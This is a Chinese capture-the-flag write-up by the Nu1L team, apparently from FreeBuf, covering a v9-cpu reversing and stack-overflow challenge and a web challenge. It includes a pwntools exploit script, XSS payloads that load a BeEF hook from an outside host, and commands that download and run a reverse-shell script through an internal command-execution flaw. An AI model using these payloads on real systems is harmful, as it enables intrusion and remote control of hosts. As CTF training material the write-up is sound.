阅读./dis 得到happygirlsday的反汇编代码,根据寻址特征,修改了反汇编结果中的call labelxx部分,并参照/v9-cpu/blob/master/doc/cpu.md 以及v9-cpu/root/usr/os/下的代码os2.c,os5.c。识别了赛题文件的绝大多数‘系统’函数。

赛题文件反汇编结果。

Clipboard Image.png

Os5.c部分代码

Clipboard Image.png

赛题文件的大致流程分为两部分。

第一部分为程序读取用户输入,将input转换成index,屏幕输出字符串stringtable[index]。

转换的核心算法为:

def getindex(str):

   str_len=len(str)

   sum=0

     for i in  range(str_len):

       sum=sum+i*ord(str[i:i+1])

   return sum%0x14

第二部分大致流程为根据用户传入字符串转换后的index,决定是否进入有问题的代码段。

Clipboard Image.png

剩下的部分交给队友了!

Part  2

这题目多亏了队友们的帮助…

下载附件,发现不是elf格式的文件,看到文件头有c0def00d的标志,猜测是某种虚拟环境的可执行文件。队友在github找到了。

接下来就是分析了,队友基本上把整个框架逆了出来,我直接看他分析出来的,发现在三次输入字符串计算出来的索引为5,2,0的情况下可以触发一个栈溢出。而字符串索引的计算方式为:

index = sum(i*a[i])%0×14,利用这个栈溢出直接把内存里的flag 打印出来就ok。

脚本:

#!/usr/bin/env python

# -*- coding: utf-8 -*-

from pwn import *

# flag = BCTF{LOVES_Be4ut1ful}

io = remote('104.199.132.199', 2666)

#io = process(['/home/arch/tools/v9-cpu/xem','happygirlsday'])

payload1 = 'AA'

payload2 = '>>'

stack_overflow_xxx = 30*'a' + p32(0x00000758) + p32(0) + p32(0xe18) + p32(0x0) + p32(0xe18) + p32(0)

def sendmsg(x):

print io.recvuntil('something:')

io.sendline(x)

return

def main():

sendmsg(payload1)

sendmsg(payload2)

print io.recvuntil('me?') # here exploit

io.sendline(stack_overflow_xxx)

io.interactive()

return 0

if __name__ == '__main__':

main()

WEB

1. QAQ(350分)

Web狗的末日ctf,竟然只有两个web。

留言板处有XSS。 Firefox可以使用iFrame srcdoc+实体编码绕过。

<iframe srcdoc="<script src=http://xxxx:3000/hook.js></script>">

Chrome可以使用link标签引入外部html+利用filter特性绕过。(只有在chrome下可行)

<link rel="import" href="http://1.xxxx.sinaapp.com&sol;iponclick1.php" />

打到Cookie发现并没有什么egg use,登陆还有基础认证,于是果断上Beef。

Clipboard Image.png

尝试读了页面源码,和 4dmin 目录,并没有发现什么。 hint说在内网有秘♂密。 于是利用webrtc读了一波ip,发现内网地址172.17.0.1 。 hint表示有CORS头。 于是用Rider试试看访问同一网段下的内网服务器。

Clipboard Image.png

运气不错,172.17.0.2就有神奇的东西。 ob_start的callback被设置成了system,于是直接访问

http://172.17.0.2/?c=ls 就可以执行命令了。 ls了一下发现什么都没有,想了想还是弹个shell好了。

c=wget%20http://1.xxxxx.sinaapp.com/back.py

c=python%20back.py%204.3.2.1%201234

顺利弹回。GetFlag  

Clipboard Image.png

*原创作者:Nu1L团队,本文属FreeBuf原创奖励计划,未经许可禁止转载

相关推荐
发表评论

已有 6 条评论

取消
Loading...

这家伙太懒,还未填写个人描述!

5 文章数 7 评论数 0 关注者

特别推荐

推荐关注

活动预告

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php